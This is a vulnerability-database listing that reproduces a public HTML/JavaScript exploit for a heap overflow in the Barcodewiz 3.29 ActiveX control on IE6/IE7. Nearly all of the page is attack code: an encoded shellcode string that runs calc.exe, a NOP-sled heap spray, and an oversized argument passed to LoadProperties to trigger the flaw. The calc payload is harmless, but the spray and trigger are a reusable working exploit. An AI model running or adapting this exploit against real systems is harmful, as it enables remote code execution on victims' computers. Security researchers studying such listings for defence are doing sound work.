Barcodewiz 3.29 - Barcode ActiveX Control Remote Heap Spray Exploit (IE6/IE7)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Barcodewiz 3.29 ActiveX Control Remote Heap Spray Exploit (IE6/IE7


                                                &#60;!--
Title:		Barcodewiz 3.29 ActiveX Heap Spray Exploit
Coded By:	Dr_IDE
Found By:	loneferret
Tested:		Windows XP SP3 on IE6 + IE7
Date:		July, 30 2010
--&#62;
&#60;html&#62;
&#60;object classid=&#39;clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6&#39; id=&#39;target&#39;&#62;&#60;/object&#62;
&#60;script language=&#39;javascript&#39;&#62;

// Payload is win32_exec -  calc.exe  

shellcode = unescape(&#39;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#39;+  
                    &#39;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#39;+  
                    &#39;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#39;+  
                    &#39;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#39;+  
                    &#39;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#39;+  
                    &#39;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#39;+  
                    &#39;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#39;+  
                    &#39;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#39;);  

nops=unescape(&#39;%u9090%u9090&#39;);  
headersize = 69;  //size adjusted for IE6/IE7 &#34;universality&#34;
slackspace= headersize + shellcode.length;
while(nops.length&#60;slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace&#60;0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter&#60;250; counter++) memory[counter]= block + shellcode;  
ret=&#39;&#39;;
for( counter=0; counter&#60;=1000; counter++) ret+=unescape(&#34;%0a%0a%0a%0a&#34;);  

target.LoadProperties(ret);
&#60;/script&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1